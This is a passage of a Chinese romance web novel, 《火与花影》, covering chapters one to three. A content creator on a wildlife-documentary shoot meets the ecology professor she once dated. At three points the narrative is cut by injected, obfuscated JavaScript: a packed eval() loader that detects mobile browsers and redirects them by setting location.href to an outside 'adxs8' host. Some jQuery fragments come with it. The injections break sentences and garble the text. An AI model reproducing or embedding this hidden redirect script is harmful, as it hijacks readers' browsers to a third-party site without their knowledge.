《火与花影》 1. 第一章 飞机遇到强烈颠簸,全体乘客坐在位置上蹦了两蹦,有些人都被蹦哭了。 容元跟同事手手交握一起瑟瑟发抖,靠窗的老板许一斌在召唤神仙保佑:“九天应元雷声普化天尊……” 靠过道的男同事大阳体型熊熊的,哭得鼻涕流到嘴边。 容元太阳穴在抽筋,手麻头麻屁股麻,她难受地闭上眼,一片黑暗中,脑子自动响起祈祷之音:要不返航吧返航吧,这样她就不用碰到他了…… ……什么啊,这种紧急关头为什么是在想他啊! 容元气得睁开眼,爆出一声气势如虹的国骂,骂得附近的哭声都断了断。 半个多小时后,班机平稳降落在玉西省青源市国际机场。 他们这趟从泽卞飞来玉西,是为了给户外品牌“火”拍宣传片。“火”虽然叫火但是一点都不火,给的钱也不多,许一斌接下这个活呢,多少有点跟说她越来越不火的舆论较劲儿的意思。 许一斌网名Aha大王,是最早出道的一批网红之一,以前没那么多人分蛋糕,她长得好看内容又幽默,也算盛极一时。但如今大小网红起号比头发掉得还快,抓人注意力的花样满坑满谷,竞争一多,数据就跑了。现在公司整体效益平稳是因为之前资源厚,业务线开得多,东方不亮西方亮,但人气上确实不如很多短视频和直播主播了,只能说成了瘦巴巴但还没死的骆驼。 怎么确定还没死呢,因为还有人在冷嘲热讽她糊了。她多少同期都查无此人了,她还有一些说风凉话的黑子,也算可喜可贺。 就凭黑子还在关注,她也非得做出点啥来给他们瞧瞧。 许一斌如是说道。 为此,她抓着容元她们头脑风暴出了一个挺狠的方案,给甲方一交,他们竟然一次拍板。 果然给的少就是有自知之明。 经过公司内部业务分配,许一斌带着容元和大阳踏上了西北跋涉之旅。 容元觉得,命运也在对她冷嘲热讽。 她明明,都快忘了他了。 她前段时间在忙另一个项目,没太注意老板是怎么具体落地这个方案的,等进了群看到那个人的头像,她才两眼发晕地问明白这件事。 许一斌跟一位热心公益的明星大咖有些交情,听说她要去西北为动保做宣传,大咖帮忙联系上了自然基金会管这片的负责人,基金会负责人就把这事推介给玉西省当地的单位,玉西那边一合计,正好江临大学有个调研团队要过来,有现成的行程规划,就资源整合整合,把许一斌这边打包托给学校的调研团了。调研团呢又包含两个队伍,分别是本科生和研究生,本科生团队主要是在省会的青源野生动物园做志愿者工作,许一斌看不上,亲自跟学校的人磨了几个回合,最终获准跟着研究生团队拍摄。 不巧,人研究生团队野调的带队导师正是容元三年前那BE了的暧昧对象。 其实吧,容元有时会觉得,这是一场完美的成年人式BE,没有撕心裂肺,没有谁是谁非,就是突然发现不合,然后就谁也不再联系,干脆、得体,到现在他们还是躺在对方列表里的死人。 其他时候,三年来占比很低的其他时候,容元想到这个人会有点心闷气短。 现在犹甚。 有没有可能还是不要碰面了? 她的粉色大箱从行李转盘缓缓转出,她半耷眼皮,打算假装看不见。 “唉?” 两只敦实的手把粉色大箱救下来了。 容元:“……” “你发什么呆呢?”大阳龇牙咧嘴,帮她把箱子提到行李车上。 许一斌下了机就忙着信息联络,这时看一眼满当的行李车,说:“齐了吧,那我们出去了。人家已经等一会儿了。” 江临大学的人从临州飞,航班比他们早到几十分钟,接待单位弄了辆大巴车过来,一次性把二十个人都装上。 容元开始紧张了。 那个人就在那里冷淡地看着她走过去吗? “老板!我有点心慌气短,是不是高原反应了?看来我不适合这里,我回去和阿花交换工作让她过来吧!” 许一斌一张云淡风轻的精致淡颜,眼尾一掀,从头到脚把容元扫描一通。 巴掌小脸白皙红润,漂亮的花瓣唇是正常淡粉色,大眼睛挺有神,明晃晃写着“我不想出去”几个大字。 许一斌说:“那赶紧出去,人家团队肯定有氧气瓶。” 容元双手扒拉着推车,双脚钉在地上。 许一斌和大阳不知道她抽什么风,但是做他们这行的,抽风是一种专业素养。 于是大阳压下推车的手扶杆,使劲儿往前推。容元僵直着往后仰,像一只不愿回家的倔强柴犬。 大阳圆脸上用力聚起了几条肉坑,苦劝:“收手吧阿祖!” 许一斌打开摄像对着俩人拍,在那笑:“大阳白长这么大块头,拔河还拔不过他容姐。” 容元知道许一斌会卡着角度不拍到她脸,但她还是下意识扭头捂脸,这下力不平衡了,大阳占到优势把行李骨碌碌推走。 比起其他省会级机场的人流量,青源机场人空得好像随时要打烊,他们走到大巴出口,根本不用找,刚走了一辆整点发车的机场大巴,现在就剩一辆车停在那等。 银皮大巴,有些日子没洗了,灰扑扑的,车门敞着,车上没开灯,里头好多道微弱的手机光各闪各的。远看像个巨物乌幽幽望出来。 容元整个人变成心脏的回音筒。 应该……认不出她吧?都三年没联系了,她头像和id都换了几轮,朋友圈也不怎么发自己的照片,而且,她现在变了好多。 大学那会儿,容元好不容易渡过高考的苦海,考出了一个让她那不苟言笑的妈春风拂面了大半个月的好成绩。 这也意味着她妈周俊萍老师对她十几年的严格管控结束了。她撒开丫子,发誓要让自己的生活奔着浓墨重彩去。这首先体现在她的外形上,她尝试五花八门的服装,化浓艳的妆,做亮眼的头发……所以,跟他来往那几个月,她总是五颜六色的。 现在呢,头发常年是普通的深发色,衣服大都是基本款,妆也懒得化了,除去一切花里胡哨的元素,她也就一讨生活的千篇一律的牛马。 她特地翻出来个鸭舌帽戴着,低着头走在许一斌后边,尽量放低自己的视野,不要跟谁撞上眼神。 车上下来几个人迎过来,主要是打前的女老师跟许一斌在交流。 女老师叫刘枫,短发飒爽,就是许一斌搭上学校线的联络人,她在航旅软件上看到他们这班机遇上坏天气,还特地问候了一下。 许一斌感动得握住她的手,大阳还没消肿的小眼睛又红了。 刘枫尬笑安慰:“到了就好,没事了。” 容元看到她被许一斌摩挲的手略显僵硬,心想她也许不太喜欢这样的肢体接触,就加快流程,说:“老板,我们去放行李吧。” “我来帮你们。”当地的向导过来帮忙卸下他们的行李,他的普通话带有西北典型的发音浑重的口音,少数民族高鼻窄面的长相,人很开朗热情,介绍自己的名字叫吉美,“你们捐赠的物资昨天已经到了,我们今早巡视的时候都穿上了,我那件外套现在就在车上!” 许一斌说:“不是我们捐的,是我们的甲方捐的,就是衣服胸口上那个品牌标志,‘火’。” 吉美说:“也是你们捐的,刘枫说是你们少收了工钱他们才捐这么多。” 许一斌笑:“不值一提。” 他们过来拍摄,准备的物品多,行李加上设备,四个大箱。行李舱里本来就放了十几个人的行李,给他们预留的位置不太够,得挪一挪,有点费劲儿。 “来,这几个小的可以叠上去。” 容元听不见自己的心跳了。 在那人出声之前,她先认出了进入她半截视野里的一双长腿。 宽松的黑色工装裤被他穿得笔直修长,裤脚收进半新不旧的登山靴里,有一种粗糙的利落。 确实,他这人挺利落的。 对事对人都是。 他一加入,三下五除二地整理出大差不差的空间来,他们干看着三人组终于有表现自己的手还健康的机会,企鹅一样个挨着个过去放自己的箱子。其实也就是推到行李舱边,吉美和那个人会接手帮他们抬上去。 容元磨蹭在最后,大阳和许一斌放完自己的都闪开让位置,吉美看快完事了,也退开一点去扶着舱门准备等她放完就关门。 她走过去,方寸之间仅他们两人而已。 他接过她的箱子,按着她刚才抓过的地方,把拉杆压回去。 快四十斤的箱子在他手上好像就西瓜点重。他弯身码放整齐,背肌霎时隆起又收束,归于宽阔平坦的背。 浑浊的机油尾气混合味里,一阵带了点皂香的清爽气息拂过容元鼻尖。 他很快弄好,回过身,跟吉美一起拉舱门。 容元有点可惜,要是多带两个箱子,就能肆无忌惮观察他的背肌久一点。因为她以前没太注意到,觉着现在好像比以前大只了点? “谢谢。”她声音虚虚的,终于肯抬了点头。 当然,不是因为想看他,主要是跟人道谢,不看着显得没礼貌,她不是那么没礼貌的人。 他侧着身,一眼看过去是高挺的鼻梁和下半张脸硬净的线条,灰蒙蒙的背景下他格外清晰。 容元以前就觉得,他像漓江两岸的山峰,瘦,独,秀奇万分。 “砰”一声,舱门关紧,附在车身的灰尘仓皇逃窜。 容元的神经好像也跟着一起动荡,忐忑,又在期冀着什么。 尘雾乱舞中,那男人好像偏了偏脸看过来,但没说话,特别吝啬颈筋似的点了个头,那幅度估计都没有蚂蚁大。 接着,他就转身上车了。 ? 不是? 你还真认不出来??? * 玉西省地域辽阔,地处高原又有河流湖泊纵横棋布,多样的地形和高原气候造就了独特的生态环境和丰富的生物多样性。连绵的高山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129093|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰川、壮美的江湖水域和广袤的草地让这里成了游人和自然学者的向往之地。 从机场去他们的住宿点要两个多小时。大学生们秉承了上课不坐第一排的优良传统,稀稀拉拉坐在后面,自然而然留出几排座位给他们几个搭顺风车的。 那个人和吉美坐在司机后面,刘枫和许一斌就坐同一排,跟他们隔着过道。除了吉美年纪小点,其余三人年龄相仿,阅历水平相近,交流起来很顺畅。 刘枫以中间人的身份给两方介绍:“Aha大王。这边这位青年才俊是我们院在职最年轻的副教授章博士,主攻方向是生态动物学,野外科研经验丰富,你们之后就跟着他的团队,有事直接交流,在外以他的意见为准。不过这是为了保障安全和研究的保密性,不是因为帅哥高冷才迁就他哈。” 那个人话不多,气质有点冷,但其实相处起来还挺和善的。 “别逢人就拿我当你的俏皮话语料。”低沉舒缓的嗓音即使怼人也不显露情绪波澜,他侧了半身过来对着许一斌自我介绍道,“章砺楚,就是群里那个字母缩写。确实如刘枫老师所言,接下来几天要劳烦你们遵守相应的规定,可能会让你们有点烦,请多包涵。” 许一斌:“哪里的话!我们肯定听话的!这趟能跟着你们拍摄是我们莫大的荣幸,章教授,幸会幸会。你叫我Aha或者许一斌都行,然后这两位是我的同事大阳和小容。” “章教授你好你好。”大阳坐在他后面,适时冒出大脑袋,挥动小胖手。 容元则坐在许一斌后方,她帽檐又压低了,只露出清瘦的下半脸,用帽檐大点头跟他打招呼。 看吧,她就比他大方,这帽檐挥了得有快90°吧?而他呢,又是微不可见的一颔。 跟她老板挺友善说挺多的,对她就一个字没有。 什么意思?到底认出来没? 瞥到他身体转正回去,容元才稍稍抬脸看过去,这个角度更斜了,只见他立体的颧弓和高高的鼻梁。怎么看怎么壁立千仞。 没意思。 容元干脆戴上口罩和耳机,打开石木的歌曲列表,播放。 青源不是繁华都市,大晚上一路上难免昏昧荒凉,空气也是跟南方大相径庭的干燥,但她耳朵里流淌着安抚心神的湿润良夜。 住所是一栋占地挺阔的两层民宿,楼下做厨房、仓库和商铺,楼上隔出几十个房间。看得出房主建房时颇有些雄心壮志。但这边附近始终没兴起什么热门景点,住店的旅客少,房主差点弃店去南边海岛打工。好在这里靠近野生动物园和周边保护区,本地的自然保护机构找来合作,现在民宿主要承接志愿者和研究团队,只是周边物资跟不上的,外卖软件上一片灰色。 众人来到快十二点了,饥肠辘辘,店长和吉美给大家发了泡面、饼干和水,说让大伙儿今晚将就将就,等明天早上就会有厨师来做饭。 学生们几人成群,或蹲或坐,散在大堂各处吃泡面。 容元闷头接了热水就溜回房间。 学生们两人共用一间房,两位老师和容元他们自付房费的都是一人一间。房间设施极为朴素,家具只有桌、椅、床、空调而已,不过有独立卫浴和热水器就不错了。 高原地区昼夜温差大,夜里都不用开空调,容元快两点躺上床,觉得被窝里凉渗渗的。很难相信这是六月份的中国。 还好她这个十级冻脚患者早有准备,带了个热水袋来。热水器水温不够高,得出去大堂接开水房的水。 估计是为了省电,走廊灯全关了,容元不知道开关在哪,原地站一会儿,等眼睛适应了昏暗的环境,她手机电筒也不用打。 他们团队三间房在尽头处,往外走要拐两个弯,容元颇有逸致地观察着每间房底部门缝。她心中有个宿管在巡视:这间黑灯了,安安静静的,认真睡觉的好孩子;这间还亮堂堂的,嘻嘻哈哈,又熬夜又没什么素质;这间好像光线颜色不一样,昏黄柔和的,难道这间房还配了台灯?是老师的房间吗? 他住哪一间呢? 这么想着,开阔的大堂便在眼前了,摆放沙发的休息区连着大露台,银色的月光从那儿静静倾泻进来,好像为干燥的空气带来一丝旷野之息。 容元不由得扬了扬头去嗅,再度捕捉那似有若无的好闻的味儿,辨认着……蓦地心口撞大钟! “有台阶。” 沙发那边响起独属于男性的低音,是不疾不徐的提醒。 容元觉得自己现在就是那用来撞大钟的锤子,满头嗡嗡地顿在原地,脚就踩在错层边边上。 她眼睛搜了一圈才发现那人坐在高高的黑黝黝的单人木沙发里,在暗影里面向她这边,好看的眉眼都融成一团她看不清的浓雾。 黑夜寂静,原野有风。 人家在提醒你,是出自对萍水相逢之人的好心,别较劲儿,容元。 好的,明白。 然而出口却是:“我知道啊,我当然知道有台阶啊。” 紧接着,她就听见对方说:“你知道什么,你老不看路,容元。” 2. 第二章 “看路,容元。” 以前他挺经常跟她这么说的。 不过一开始他是没有提醒她的,一开始他都懒得跟她说话。 因为一开始她也是装的。不是她这个人虚伪,是他那个人实在不好追。 容元从小到大都知道自己有一点美,即使是小时候她妈不顾她嗷嗷哭嚎硬逼她剪那种傻了吧唧的蘑菇头,她们班的小男生也还是一边做模做样地笑话她,一边背地里偷偷把她评为班花。 但是章砺楚也太八风不动了。 她没啥追人的经验,也不好在人家做正经事的时候去打扰,起初只敢在路上找他。寝室出门去食堂路上,食堂去实验室路上,实验室去食堂/去图书馆/回寝室路上……那是她大四下学期,她大厂offer在手,毕设也在指导老师那里过了关,那几个月就剩闲心和耐心了,有空就去蹲点。 好吧,回想起来好像是有点烦。 可他身高腿长大步流星的,路上统共也没多少分钟,她就一路小跑跟着,急叨叨跟他说话,话题内容包括自我介绍啦、兴趣爱好啦、天气啦、哪家小馆好吃啦……诸如此类没啥营养但也不会出错的碎话。 他最多不过“嗯”地应一、两声。 所以她只能使出朴素的小计俩,装被绊脚,虽然一眼就能识破,但那也是多赚了他一眼嘛。 她又不是不好看,多看几眼他就会觉得她好看了。 有一次她装得太真,真摔了。 他果然停下来,挡在她前面,跟地上的她四目相对。 他平直的浓眉微微蹙着,似乎有点嫌弃,又困惑着,像在思考一道题的解法。 “脚能动吗?”他这样问。 她眨巴着眼点点头,手一撑就利索地站起来了,还骄傲地说:“没崴!” 章砺楚转开眼,冷淡地说:“别看我,看路,容元。” 但容元是个奋进的女人,学业、生活和搞男人皆如是,相处的时间这么紧迫,路有什么好看的,当然是看他要紧。可是一眨眼,食堂又到了。 她都恪守界限一周了,一起吃饭不算打扰吧? “师兄~” 之前叫他章博士、学长,现在突然换了称谓,章砺楚听得眉梢一抽。 “不同专业不同门,不是你师兄。” “同门呀,我们的军事理论都是王观涛老师上的呀。” 军事理论是大一的通识课,全校能有一半的人是王观涛老师授课。 见章砺楚懒得回复,容元又说:“师兄,我能不能也在这个食堂吃饭?” 一双清澈的眼睛里闪着乖巧和委屈,虽然是装的。 章砺楚一顿,好像微不可闻地叹了叹,也没说话,而是直接上前拨开了布满指纹和干燥油污的透明门帘。 容元睁大眼睛,笑成两弯皎皎月牙。 “谢谢师兄,好开心呀师兄~”她双手捂嘴笑着溜进去,转着弯儿的娇嗔语调在她捂出的话筒里变得呆呆闷闷,一副得逞的样儿却不惹人厌。 那之后,他渐渐会回应她的一些话。有时候他的师兄弟一起吃饭,他也不介意她的存在,当然,同时也无视师兄弟们探究的八卦之眼。 容元知道,这是因为章砺楚就是这么一个八风不动的男人。 只是偶尔也会施舍一点眼风给她脚下的路了。她跟他走在一块儿时,总爱跑到他前面一点,侧着走或倒着走,为了方便看着他说话。 他说她不听,只能帮她注意路况,每每提前提醒她道路有变。 后来,他也会有点不耐烦,直接抓着她手把她扯住。 * 容元打着哈欠出去吃早餐,一开门,许一斌和大阳也刚出来。三人面面相顾,一同打哈欠。 他们公司上班不打卡,没什么急活的话早上一般十点才到岗,今天八点起,算早的了。 今天是集体行程,全体去青源野生动物园调研,路程不远,九点出发。 赶惯早八的大学生们这个点已经吃饱回来,路上见到他们都会打招呼。许一斌没点大网红的包袱,这里几乎人人都知道她,明明暗暗投过来好奇的眼神,她也丝毫不做表情管理,打哈欠嘴巴张得老大。 没见到刘枫他们,不知道会不会碰上。 容元开始了新一天的焦躁。 厨房和餐厅在一楼,要从大门外楼梯下去,许一斌见了光更眯起眼:“啊好困啊。” 大阳说:“你不是一点就睡了,有这么困吗?” “你还年轻,等你到了三十上下就懂了。你现在正是不知道困的年纪。” 大阳委屈:“我两点多还被容元薅起来给她热水袋打水!她说怕黑!” “……” 真怕什么来什么。 正来到餐厅门口,章砺楚跟他几个学生就坐在门边的位置开小会,刘枫也坐着旁听,见到他们仨过来,笑着招呼:“早上好!” 结果一桌所有人都跟着望过来,两方齐刷刷问候。 章砺楚估计也是点个头敷衍,不然他声音在人群中也是很好认的,比人家低,又有一种通透的质感。 容元只能听声分辨,是因为她没眼看他。 昨晚大堂惊魂,听到他喊她名字她就满身鸡皮疙瘩落荒而逃了。 心跳没出息,再待着,那咚咚的声响就要蹦到他耳朵里了。 都怪店主摆沙发也没个统一风格,布的皮的木的中西合璧一通乱摆,而且那木沙发椅背也太高,以至于她都注意到那里坐着那么大个人,否则怎么也有点心理准备。 大阳嗦着面,还在说:“你怎么会怕黑呢?你去鬼屋不都是当坦克的吗?” 容元想把水煮蛋塞他喉咙里。 当然只是想想。 所以容元也发起小会。他们这次的拍摄方案是概念拍摄,简单来说,就是只有概念,没有方案,分镜也不做,但是他们出了几稿文案打算到时作为旁白,容元昨晚就改了一稿。 两边团队都窸窸窣窣聊着自己工作,到某一个时间点,竟然同时结束了讨论。小档口点儿大的餐厅沉进诡异的沉默中。 还是中间人刘枫打破静音:“八点半了,咱们回去收拾收拾准备出发吧。” “对对对。” “好呀好呀。” 大家纷纷站起身,容元他们差点就甩手走了,看到别人都自觉把吃完的餐具收拾到碗筷回收处,才想起跟着做。 许一斌老家伙式自嘲:“离开学校太久了,不记得还有这码事。” 刘枫和章砺楚走在前面,好像在聊他们另一位同事,不知说到什么,他们突然默契地笑起来。 章砺楚笑起来动静也不大,嘴唇微微一弯,眼尾伸出来一道浅浅笑纹,恰如一笔点睛,衬得他清冷的面容都风光霁月。 容元声音低低从齿缝中冒出来:“大阳不是才出来一年么,怎么就忘了?是不是在学校就偷懒甩手啊。” 大阳:不知道为什么但感觉她在攻击我。 青源的蓝天是4K超高清,亮烈的阳光和爽利的风并驾齐驱,一切都是那么清晰,湛蓝的天,海浪一般随风涌动的白云,一望无际的旷野和草原,不时遇见几只牛或者羊群,或有大鸟翱翔而过,向更高的山飞去,道旁油菜花田星星点点的黄,将谢未谢。 大家都拉开了车窗,那干燥猛烈的风灌进车厢,好像携带了窗外那些生命的重量。 谁不是因为心中翻涌着不可抑制的热望才来的? 人人头发肆意飞舞,好像给他们这趟高原之行挥舞战旗,祝他们砥砺前行,不负韶华,实现所愿,寻得意义所在。 * 野生动物园园长来接待他们一行人,在他们对话中容元得知,章砺楚如今是学界研究雪豹的先锋学者,而玉西省近年来雪豹数量不断上升,有他不可或缺的一份贡献在里头。 一群人团团围在园长和章砺楚周围,听他们边走边讲解。游客们看到这个阵仗,感觉专业范儿很强,于是跟着包过来。 容元拿着手持摄像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但是她们双机位的架势还是吸引了一些人的注意,有些人认出Aha,聚在一边围观,看他们拍的差不多,凑过来想要合照。同行的江临大学的同学们憋了一天不好意思打扰,看终于有人开了口,也纷纷围过来。 这下,园长和章砺楚那边反而冷清了下来。 许一斌和容元都蛮喜欢拍那两位大佬专业氛围浓厚的讨论,所以也一直跟在他们附近,这么走走拍拍,他们最后回到一只老年公雪豹的笼舍前。 它年纪大了,毛发黯淡,没有其他年轻豹那么漂亮,要合影的人也拍完了合影,刘枫也带着本科生们去做志愿者培训了,现在就剩他们几个人。 来来去去的人没能引起章砺楚一点兴趣,他专注而细致地观察那只滚地晒太阳的老雪豹:“牙齿老化,爪子也钝了。” 园长说:“是啊,羊皮都咬不开,没法放归。” “那好命了,有人给它养老了。”章砺楚笑了笑,哪里还有刚才凶巴巴老师的样子,简直冰雪消融,甚至有一丝宠溺。 “它现在看着身体状况很好了。” 接话的是章砺楚小组研二的男生周小舟,过来的路上小组成员和Aha组已经互相认识过,刚才边走边聊,周小舟发现自己和容元同年,很快熟络起来,在容元边上跟她介绍这只老豹公之于众的私生活:“我看了动物园的纪录片,它之前几乎濒死,是找了只年轻的母雪豹来跟它玩,它才重新焕发了生机。” 园长哈哈笑:“是的,这些动物还是很有意思的。” 容元和许一斌没太能进入动物学家的视角,而是联想到人类男女关系,不由得龇牙对视。 啧啧啧,你看,男的吧…… 章砺楚就站在许一斌左手边,容元跟许一斌这么一对视,就直接看到了那个穿着一身黑色运动装依然清越得出奇的男人。 而他不知怎么回事,竟也在这时看过来。 目光一对上,容元觉得心率飙升呼吸急促,哪哪都不对,霎时转回头。 许一斌下意识扭头去找让容元变脸的源头……很有气质的章教授? 对方好像没啥情绪,随意向她点了点头。 周小舟挺开心自己能引起两位女士的反应,继续跟容元搭话。 “诶,说起来,你的名字跟一种动物同音。” 容元扬了扬眉,笑道:“蝾螈呀,略有耳闻。” 许一斌忽然觉得有什么不对,余光一凝,嚯,左边飞来好强的煞气! 3. 第三章 “学长,蝾螈是不是传说中的娃娃鱼呀?” “不是。” “真的不是吗,师兄?” “不是。” “但是……” 她一个大喘气,章砺楚莫名有种预感。 “容元跟娃娃一样可爱呀!” 果然。 她一双笑眼最会装乖耍宝,此刻就这么扑闪地望着他,双手还把红头发朝两边扯开模拟须状。 天。 章砺楚皱着眉头笑出来,拿她没办法:“你这是美西螈,属于钝口螈科,不是娃娃鱼,娃娃鱼是鲵科。” 容元撇撇嘴,放下头发,边刮刮梳理,边对他大言不惭:“你应该夸我可爱,而不是教我知识。” 这日的阳光好像格外灿烂,是她的红发特别明艳还是手指过分白,总之有什么刺进了他心里。 蝾螈这种两栖动物,具有很强的再生能力,大多体色鲜艳美丽,还有毒。 章砺楚想叫她别梳了,反正等会儿说话说到兴头上又要手脚并用,理得再顺也要被晃乱。 还没开口,她又想到了新的话题。 “我们系上一届的美女学姐,听说最近甩了青梅竹马的男朋友,终于跟苦追她三年的学长在一起了,学姐前男友还去那学长公司楼下蹲他来着……” 叶影和光斑交织流过她白皙的脸和红的发。 那头红发中又挑染了一撮冰蓝,是最初两天他没跟她搭一句话,第三次出现她就染成这样。他依然不说话,她也不灰心,好像永远能量充沛,又跟他介绍一遍:“学长我叫容元,容易的容元宝的元,是计算机系大四的。可能找你的女生很多你不记得我,但是没关系,我现在这个头发你一定会认得的对吧?” 说得好像是专门为了他才染的,看来是忘了上次是谁说过“金发长成布丁头了是不是看起来好丑又要染了换什么颜色好呢”。 一直以来对他感兴趣的女生是不少,但没一个有她这么擅长没话找话,这么厚脸皮,还能明着装。 阳谋家一个。 但是又极有分寸,从来不打扰他,说话也是天南地北或是往自己身上引,总不叫人有被窥探的不适,没有负担,不知不觉就习惯接她几句话,再多几句。 就像看到一只猫科幼崽凑过来翻开肚皮,总得理一理的。 不然老让她装摔也不行,尤其那阵子天气暖和了,她天天短裙热裤的穿,又不爱看路,上次就摔了,修长圆润的腿横在粗粝的地面,他怕她擦碰伤了,又怕她走光,只得快点挡在她前面。 她有动物一样的敏锐直觉,紧接着就提出要一起吃饭。 吃完饭还飞速去刷了两杯豆浆,一杯塞给他喝,并以此为由加他微信,让他把一块五转给她。 她那时的微信名还是配合着头发来的,叫:一颗好头。 呵。 一颗黑心、步步为营更适合你。 他那碎嘴师兄兼好友欧阳亚很快知道了他跟女生单独吃食堂这件事,大惊大喜发来三连问:“你是不是学术之心不纯了?是不是要把一身精纯之力奉献给女朋友啦?我的一区论文数是不是有望超过你啦?” 他说:“不是。就一挺皮的小姑娘。” 说是这么说,到后来他还是由她踩没了边界,要好就好,说散则散。 没想过会再遇上。 她好像变了一些,她想装互相遗忘的陌路人,他也由得她。 就是一个甜言蜜语泡完他然后甩手就走的小姑娘,他一个大男人难道还要跟她计较? 结果,她总是让他忍不住。 * 容元没有跟周小舟继续蝾螈的话题,可能因为以前跟某人聊过,再次说起,只会觉得重复而寡味。 下午,调研团队在野生动物园交流学习,Aha团队则去周边取景拍摄。傍晚,他们一起乘车离开。 其实并没有傍晚的实感,这里地处西部,当地时间要比标准时间慢差不多两个小时,手机显示18点,观感仍是日光灼灼的午后。 两位老师决定带他们去市集放风,约定一个小时后集合,年轻人们烟花似的一下炸开,转眼就蹿没影儿了。 Aha团队下车时还在争论往哪边走,显然他们对这段短暂的行程安排各持己见,最后成熟地决定分头行动。 容元上次来玉西省,还是小时候跟爸爸出差,那次应该是冬天,只记得很冷,她稚嫩的脸蛋都皲裂出血,爸爸问人找来了羊油还是马油做的膏,给她油乎乎地糊了一脸,几天都洗不干净。她埋头喝一碗杂碎汤,到回家了脸上都还沾着那香辛的胡椒味儿。 啊,杂碎汤真好喝。 不过现在又燥又热,不是想喝杂碎汤的心情,容元随便买了杯杏皮水,径直走去衣饰行。她习惯性打开小型摄像机夹在衣领上录素材。 这边没有小吃和农副产品集中区域那么热闹,望过去是五彩斑斓的小道,两旁门店和小摊各有特色参差交错,路面是碎裂的水泥地又被踩实的尘土填上,头顶是屋檐间高挂的经幡,蓝白红黄绿五色小方旗猎猎飞舞。 不知从哪年开始,大小省市的集市上挂着的民族服饰都变成了齐刷刷的波西米亚风,鲜艳层叠的几何纹样和粗糙的面料适配从海边到高原的所有自然景色。 容元啧啧嫌弃,然后从门口到店内一件件挑起来。 基本款穿久了,现在看着每一件都好好看。 许一斌和大阳就是预判了她这德性,才不愿跟她一道。 店主大姐操着吉美同款口音,在夸她漂亮:“身材好,苗条,穿什么好都看的。” 大姐的声音听起来有些浑浊的颗粒感,又软糊糊的,像土豆泥的质地,容元挺喜欢,跟她多聊了几句。 “你们本地民族的刺绣很好看呀,为什么不挂到外面来?”容元在店里的旮旯发现了几个盘绣小挂件,针脚平整、配色鲜明又细腻。 大姐不好意思地笑笑:“那个贵一些,外面那些好卖一点。”她强调,“短视频里面去旅游都是穿这种披肩,拍照好看!你要不要试试,我帮你拍照看看效果。” 容元心动,想了想,问:“那些刺绣的呢?贵一些是多贵?” 大姐指划那几个挂件,小声说了几个数。 容元说:“多买几件能不能便宜一点?” 大姐嘿嘿笑,说里头仓库还有几种,我都拿出来你看看。 “你箱子够位置装吗?” 大姐钻进小小的仓库门,容元身后就有一道不矜不盈的声音适时出现。 说他从容持重吧,他又是不知从哪冒出来的。说他偷摸吧,他脸上就写着光明磊落。 容元目光略过他那张让人过目难忘的脸,好似没心没肺地揶揄道:“章教授要是转业去鬼屋一样能当头牌。” 嘲讽他老神出鬼没吓人。 “你做坦克的话我尽力一试。” “……” 他现在是这个路数了么?容元快速回忆了一下,完全想不起来他以前说话有这么刺。当然,她以前也不会这样跟他说话。 哦对,他们三年前就BE了,这也许就是BE之后重遇的常规状态吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129095|164367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “杏皮水越喝越饿。”他看了眼她只喝了几口就没再动的杏皮水,忽然说。 容元只觉得他每句话都在挑刺:“饿不死。” 章砺楚默了默,说:“我是说,饿了可以买牛奶鸡蛋醪糟。今晚回去餐厅还开饭,厨师做的酿皮和面比外面的好吃。” “……哦。” 原来是在做推荐。 容元没什么话想跟他说,这时大姐抱着东西出来了,容元正好撇开那人。 大姐一看,小声跟容元说:“你朋友走了?” “……嗯。”容元说不清这突然的失落是为什么。 “他好看!” “……” 她对大姐拿出来的一顶帽子很感兴趣。帽子形状挺括,帽檐斜飞向上,状似锅盔,外侧是黑色的毛毡,包边到内料是砖红色印满几何纹的薄棉布,内檐一圈修了红黄绿交织的斜纹盘绣。 容元对着镜子戴起来,觉得自己又像牧羊人又像小品演员,有种诙谐的帅气,当下就决定要买回去,可以录一期旅游购物开箱视频。 又随便试了几件衣服,时间不多,最终她选定锅盔帽、一条藏红色大围巾和一件蓝白色波西米亚纹编织开衫。盘绣挂件则随手抓了几个,打算作为回去送给同事们的伴手礼。 算账的时候,她跟大姐疯狂撒娇,最终以将近七折拿下。 走的时候大姐说你的杏皮水没拿。 “不想喝了,你帮我丢了吧,谢谢姐姐。” 出门两步就遇到去而复返的章砺楚,她顿住脚步,笨拙丰满的大塑料袋在她脚边乱晃。 对方没有铺垫,把打包好的牛奶鸡蛋醪糟递到她手边。她的大塑料袋还在滋啦滋啦响,她就没想,接了过来。 章砺楚:“你袋子我帮提?” 容元:? 他说:“你要拿着逛下一家吗?” 啊,确实不方便,所以就任由他提走了。 这时候应该谢谢他吧? 容元两眼好像被远处的店迷住:“我没说要吃啊。” 余光里瞥见他嘴角拉平,有些隐忍的样子。 “我买多了,你帮个忙。” 容元刚要说那好吧,就听他没什么情绪地补充:“不想跟我有牵扯的话,你可以微信转我十三块。” 说完也不等她反应就走了。 十分钟后,容元不小心吃完他买的醪糟,越想越气,真从群里拉出他的头像,给他转了十三块。 章砺楚和刘枫他们汇合,打算去买多点菜、肉和水果回民宿囤着。 